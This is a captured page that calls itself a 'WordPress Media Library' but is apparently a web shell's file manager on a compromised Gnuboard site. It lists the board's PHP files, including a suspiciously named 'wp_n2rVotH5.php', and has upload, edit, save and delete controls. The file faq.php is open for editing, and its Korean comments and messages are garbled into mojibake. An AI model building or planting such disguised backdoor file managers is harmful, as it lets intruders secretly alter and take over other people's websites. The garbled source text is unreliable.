โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: faq.php
Size: 2.88 KB | Modified: 2019-01-10 22:37:59
<?php include_once('./_common.php'); //dbconfigํ์ผ์ $g5['faq_table'] , $g5['faq_master_table'] ๋ฐฐ์ด๋ณ์๊ฐ ์๋์ง ์ฒดํฌ if( !isset($g5['faq_table']) || !isset($g5['faq_master_table']) ){ die('<meta charset="utf-8">๊ด๋ฆฌ์ ๋ชจ๋์์ ๊ฒ์ํ๊ด๋ฆฌ->FAQ๊ด๋ฆฌ๋ฅผ ๋จผ์ ํ์ธํด ์ฃผ์ธ์.'); } // FAQ MASTER $faq_master_list = array(); $sql = " select * from {$g5['faq_master_table']} order by fm_order,fm_id "; $result = sql_query($sql); while ($row=sql_fetch_array($result)) { $key = $row['fm_id']; if (!$fm_id) $fm_id = $key; $faq_master_list[$key] = $row; } if ($fm_id){ $qstr .= '&fm_id=' . $fm_id; // ๋ง์คํฐfaq key_id } $fm = $faq_master_list[$fm_id]; if (!$fm['fm_id']) alert('๋ฑ๋ก๋ ๋ด์ฉ์ด ์์ต๋๋ค.'); $g5['title'] = $fm['fm_subject']; $skin_file = $faq_skin_path.'/list.skin.php'; include_once('./_head.php'); if(is_file($skin_file)) { $admin_href = ''; $himg_src = ''; $timg_src = ''; if($is_admin) $admin_href = G5_ADMIN_URL.'/faqmasterform.php?w=u&fm_id='.$fm_id; if(!G5_IS_MOBILE) { $himg = G5_DATA_PATH.'/faq/'.$fm_id.'_h'; if (is_file($himg)){ $himg_src = G5_DATA_URL.'/faq/'.$fm_id.'_h'; } $timg = G5_DATA_PATH.'/faq/'.$fm_id.'_t'; if (is_file($timg)){ $timg_src = G5_DATA_URL.'/faq/'.$fm_id.'_t'; } } $category_href = G5_BBS_URL.'/faq.php'; $category_stx = ''; $faq_list = array(); $stx = trim($stx); $sql_search = ''; if($stx) { $sql_search = " and ( INSTR(fa_subject, '$stx') > 0 or INSTR(fa_content, '$stx') > 0 ) "; } if ($page < 1) { $page = 1; } // ํ์ด์ง๊ฐ ์์ผ๋ฉด ์ฒซ ํ์ด์ง (1 ํ์ด์ง) $page_rows = G5_IS_MOBILE ? $config['cf_mobile_page_rows'] : $config['cf_page_rows']; $sql = " select count(*) as cnt from {$g5['faq_table']} where fm_id = '$fm_id' $sql_search "; $total = sql_fetch($sql); $total_count = $total['cnt']; $total_page = ceil($total_count / $page_rows); // ์ ์ฒด ํ์ด์ง ๊ณ์ฐ $from_record = ($page - 1) * $page_rows; // ์์ ์ด์ ๊ตฌํจ $sql = " select * from {$g5['faq_table']} where fm_id = '$fm_id' $sql_search order by fa_order , fa_id limit $from_record, $page_rows "; $result = sql_query($sql); for ($i=0;$row=sql_fetch_array($result);$i++){ $faq_list[] = $row; if($stx) { $faq_list[$i]['fa_subject'] = search_font($stx, conv_content($faq_list[$i]['fa_subject'], 1)); $faq_list[$i]['fa_content'] = search_font($stx, conv_content($faq_list[$i]['fa_content'], 1)); } } include_once($skin_file); } else { echo '<p>'.str_replace(G5_PATH.'/', '', $skin_file).'์ด ์กด์ฌํ์ง ์์ต๋๋ค.</p>'; } include_once('./_tail.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete